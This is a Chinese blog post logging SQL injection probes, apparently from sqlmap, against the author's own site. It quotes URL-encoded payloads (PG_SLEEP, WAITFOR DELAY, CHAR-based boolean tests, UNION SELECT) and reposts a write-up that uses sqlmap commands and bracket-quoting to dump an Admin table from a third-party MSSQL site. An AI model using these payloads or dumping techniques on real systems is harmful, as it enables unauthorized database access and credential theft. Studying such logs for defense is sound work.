网站被攻击扫描SQL注入的日常记录


我发了个博客,泄露了域名之后,便有人疯狂的尝试攻击我的站点,奈何我防守做得比较好,直接把网段封了,看到403还锲而不舍,我真是想给他颁奖了

查看ua,发现很多sqlmap的ua,肯定会是被刷了,只是运气比较好,没突破防守

 

日志记录里边出现这条,经过查阅,是注入攻击

%29%3BSELECT%20PG_SLEEP%285%29

原文在这里

https://www.jianshu.com/p/267965649779

下一条 

%28SELECT%20CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28107%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%288745%3D8745%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28113%29%29

 相关资料在

原文在https://www.cnblogs.com/milantgh/p/4908812.html

发布者

 

sqlmap注入检测经验0x01
某日偶遇一SQLInjection Point,MSSQL 2008,已开启显错模式。
马上扔进SQLMap跑,一路顺畅,竟然还是SA的权限,心想运气真好,无论如何都拿定了。
数据库,表,列都列出来了,但是上–dump参数就死活跑不出来。
报错 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是马赛克哈:)
心想应该很容易搞定,遂查找手工注入方法,测试无果。
还是回到SQLMap,-h查看帮助,发现-v 参数可以指定输出详细度,开到-v 3,发现显示了payload,一不做二不休,直接开到-v 5,发现提供了整个http请求,怪不得报错,原来都是返回500,用firefox打开完整payload,说是语法错误。

Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29


显然是2012的问题,也就是应该是错把库名中的数字错当成参数了

在URL的库名加上双引号包裹,果然就可以爆出数据了。

问题又来了,要我手工爆数据我可搞不定,还是要回到SQLMap啊,意思是要想办法把库名包裹起来,不让系统把它解析成一个参数

XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’
这次好一点了,还是报错unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,但是库名不对。

XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218  –dump -D”[2012_xxxx]” -T’Admin’
我也不记得哪来的灵机一动,改用中括号包裹,果然就成功了,dump出整个表了。

XCONCLUSION:在使用SQLMap时可以使用-v参数指定输出详细度,然后直接用浏览器查看payload,确定语法错误点后想办法改进。在遇到系统误判库名表名是可用中括号包裹名字。
为避免原文删除,所以搬过来了

 下一条

%28SELECT%20%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28107%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%282244%3D2244%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28112%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%29

 下一条

%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27XsDx%27%3D%27XsDx

 

 原文地址http://www.91ri.org/4732.html

注入的基础知识就不说的了,只是在这里做个简单的笔记,以便之后拿起了就用。


    
    
    

    
    
    

看POST数据,注入是发生在username这里。把username的值URL解码下这样比较清楚点。


    
    
    

    
    
    

 

因为延时注入是通过页面返回的时间来判断的,所以当我进行猜解的时候也就是用时间来进行猜解,比如我们可以取出db_name的第一个字符,先转换 成ASCII在和数字进行比较(推荐使用<、>),在比较时我们可以用折半法,比如我们先猜解第一个字符是大写字母还是小写字母,就可以用 91来做个标准小于91的为大写字母(A-F,或许是_ 、-),大于则反。

下面两个语句为例子:

 


    
    
    

    
    
    

 

建议用时但编码状态出问题时,可以试试未编码状态。

原文没有图,防止失效,搬过来

 下一条

%20UNION%20ALL%20SELECT%20NULL%2CNULL

 这个查询结果就很多了,不再把文章拿过来


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM